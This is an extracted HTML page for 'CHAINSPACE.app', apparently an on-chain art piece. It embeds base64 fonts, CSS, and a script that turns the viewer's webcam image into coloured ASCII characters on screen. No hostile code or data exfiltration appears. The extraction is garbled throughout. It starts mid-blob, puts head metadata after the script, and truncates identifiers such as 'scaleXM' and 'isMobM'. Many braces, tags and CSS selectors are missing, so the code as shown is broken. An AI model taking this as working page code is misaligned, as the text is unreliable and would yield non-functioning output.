UQ2Fzic44NPjlbhFwKfNQpbA9S2n5HubAL2VwHCBpkWRMlxWPKC91hbzemWbAZQMuzJvX+GKIJOStroEa4OD+gZMc3V5eo1dk8xjZGA/zzc3FAGL53g/ceQUYKQB7pJqYSpRBQuxdewQE4sHeD9ePNlwfXiw9e6H/YiEVuheXYiYVj4yhkM6LyQN/9qHsy8Sp6DG8nAV8yYOp8E7uxROtAFTsoKkcGV5VZWdJpWqJo19Q+zUXaaIGU54K+LkaUWEV4o2zH+nGQfAJC0WdZk7QLPwY9sSF8TuEOEIyV7JuEtuLfggdaOgwSxaXcBlGvWW8unq1958uyTSLgdHl0BXJxLth6nkMuWbjEol7yet8fyV5chXpRF+pfhS6f1k9To+SYifXJcXj0Hb///5VAOOnwOAiDbP1TWh/Ghj3nQw8aciIPSmZWmPmcHaKC+aqhlfbpseR0scNYTu/8kqwG/TfDjllDFGm40ykc3Ktp054uJWR1SdWwQyUwyjZOcfz0YGKtiEj3MrM
q6Vm2UKqKYrmtR8zrkLACNmLuTSuBlVNf6qq7oXaVUykjh8qBcVxxSXpDpYRIXb+DI55xfnOeppEkFF4QU8xOWlELJhxHpAjuF5HH8ji0jYXT+GiM47Qbs2OPHUruRYNmOs21E5tGVzWPd6Xmx6k7gVvitke0XAJCCEHv6BnczWj9LqWNjOzBpX61QXu+3zPkeabuXXTi5vL1CkgSz3L1ASxuzWT7qNrP/HX8u5lDfv842+tlW4NqMVNq9/JX40K7hFJD0zzoH2iGDJRPzmqXj88DmaCPdjMnBJ2yDbrrwXnmCcLMZJEi8y4lkQqZe6CQUYH+0Gg+/Oa0HKPXyLB5exi+PMqDge88moevzuHxxk0jZG7ycqwCUg7X26XGz5B/3h9CP9e9GpQfpP4f9ZTAH3/989+XrJyajrmVtQ0cPmNRYY4FtrCNHRxDQkaNgiUaPEciU6g2tjQ6g2nHYttzuDy+QCgSOzg6SZylLq4yucJNqXL38PTy9vH1858ToM7m8oViqVyM
p1uqNZqvd6fb6g+FoPJnO5ovlar3BhDIu5FZ5fhBG2lgXJ2lG7n6nkbpevmPR/gUth2M4cZyuxjNq4wWJx5mukY6jbpxvv3TP0LsuuQvtya0KHvvlUMAPEd1QytsD07TNb2poSsz1r4rTOEu1sUjLqEKPPTt06NypNxDlGZcEM0Hyd+mY5j9Ly7+ZDx3G2TDQrkOnLn1161Ebp6mI+4bm7ASI9AkZQItWNbGodl3qLis+hDR20EwgmFpz1TSbqWjxuMHECNqUmwMmK5xAq7EC2mUczzPhhFspTFin8z/W3zGT8eI1yMd1WunQv5e9x123IAyahxOHLnAYELthn/SmYMpidAR9z7VYNpwnFjI5NJWy1XCDIZIWxVHdHDgmxyNDkyYrKjYXlcuMus2AwGMW9ovhVwZHs70lAAA=) format('woff');
  font-weight: normal;
  font-style: normal;
    text-align: center;
    overflow: hidden;
    background: #eaeaea;
    align-items: center;
    justify-content: center;
  body.mobile #text-video {
    font-family: 'Noto Mathcastles Remix', monospace;
    pointer-events: none;
    justify-content: center;
    align-items: center;
    transform: scaleX(-1);
    -webkit-transform: scaleXM
    background: #3D3D3D;
    font-size: 14px;
    justify-content: center;
    transform: scaleX(-1);
    -webkit-transform: scaleX(-1);
    cursor: pointer;
    justify-content: center;
    pointer-events: none;
    background: #fff;
    border: 1px solid #111;
    padding: 3px 10px;
    font-family: monospace;
    cursor: pointer;
    outline: inherit;
    border-radius: 3px;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    font-family: monospace;
    text-align: center;
    margin-top: 20px;
    margin-bottom: 4px;
    background: #222;
    border-radius: 20px;
    box-shadow: 0 0 16px 0 rgba(0, 0, 0, 0.5);
    margin-bottom: 0;
    font-size: 13px;
  <div id="wrapper">
      <video id="video">Portal is closed.</video>
      <canvas id="canvas-video"></canvas>
    <div id="frame">
      <div id="text-video"></div>
      <div id="header">
 You are the art in Chainspace.app
    <button id="stop">Wave</button>
    function run() {
      function isMobM
        return (typeof window.orientation !== "undefined") || (navigator.userAgent.indexOf('IEMobile') !== -1);
      const video = document.getElementById('video')
      video.setAttribute('autoplay', '');
      video.setAttribute('muted', '');
      video.setAttribute('playsinline', '')
      const textVideo = document.getElementById('text-video')
      const canvas = document.getElementById('canvas-video')
      const ctx = canvas.getContext('2d', { willReadFrequently: true });
      let cyclerEnabled = false;
      let cycler = 0;
      let isMobile = isMobileDevice();
      const chars = [..."
      const colors = ["#565656", "#38A773", "#4EC58D", "#73D2A6", "#3D3D3D", ];
      let running = true;
      if (chars.length === 280) {
        cyclerEnabled = true;
      function setCanvasSize() {
        w = Math.min(window.innerWidth, 450);
        h = Math.min(window.innerHeight, isMobileDevice() ? 600 : 450);
       height = Math.floor(h / 10);
        width = Math.floor(w / 6.9);
      let resizeTimeout;
      window.onresize = function () {
        clearTimeout(resizeTimeout);
        resizeTimeout = setTimeout(setCanvasSize, 100);
      const init = () => {
        setCanvasSize();
        document.body.classList.add(isMobile ? 'mobile' : null)
        navigator.mediaDevices.getUserMedia({ video: true, audio: false })
          .then(function (stream) {
            video.srcObject = stream;
          .catch(function (err) {
            running = false;
      const render = (ctx) => {
        if (width && height) {
          canvas.width = width;
          canvas.height = height;
          ctx.drawImage(video, 0, 0, width, height);
      const getPixelsGreyScale = (ctx) => {
        const imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);
        const data = imageData.data;
        const res = M
new Array(height).fill(0).map(() => []);
        for (let i = 0, c = 0; i < data.length; i += 4) {
          const avg = (data[i] + data[i + 1] + data[i + 2]) / 3;
          let curr = res[row]
          curr.push(avg)
          if (c < width) {
          if (c === width) {
            row += 1
        if (isMobile) {
          return res.map(row => row.slice(row.length / 4, row.length - row.length / 4));
    const getCharByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (chars.length));
        return chars[val % chars.length];
      const getColorByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (colors.length));
        return colors[val % colors.length];
      const renderText = (node, textDarkScale) => {
        let gap = isMobileDevice() ? 15 : 10;
        const gridElem = document.createElement('div');
        gridElem.className = 'M
        gridElem.style.gridTemplateColumns = `repeat(${textDarkScale[0].length}, ${gap}px)`;
        gridElem.style.gridTemplateRows = `repeat(${textDarkScale.length}, ${gap}px)`;
        for (let i = 0; i < textDarkScale.length; i++) {
          for (let k = 0; k < textDarkScale[i].length; k++) {
            const textElem = document.createElement('p');
            textElem.style.color = getColorByScale(textDarkScale[i][k]);
            textElem.innerHTML = getCharByScale(textDarkScale[i][k]);
gridElem.appendChild(textElem);
        node.textContent = "";
        node.appendChild(gridElem);
      const frame = () => requestAnimationFrame(() => {
        const chars = getPixelsGreyScale(ctx)
        renderText(textVideo, chars)
        if (running) {
        if (cyclerEnabled) {
          cycler+=3;
      document.getElementById('stop').addEventListener('click', (e) => {
    running = !running
        if (running) {
      document.getElementById('text-video').onclick = () => {
        cyclerEnabled = !cyclerEnabled;
    window.addEventListener('DOMContentLoaded', () => {
text/html;charset=utf-8
a hyperportal inscribed on-chain
enter at your own risk
Conjured by el_ranye x @timshelxyz
  * Mathcastles Studios (0x113d & xaltgeist)
  * Aleksandr Kubarskii
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width,user-scalable=no,initial-scale=1,maximum-scale=1,minimum-scale=1">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>CHAINSPACE.app</title>
  font-family: 'Noto Mathcastles Remix';
  src: url(data:application/font-woff2;charset=utf-8;base64,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
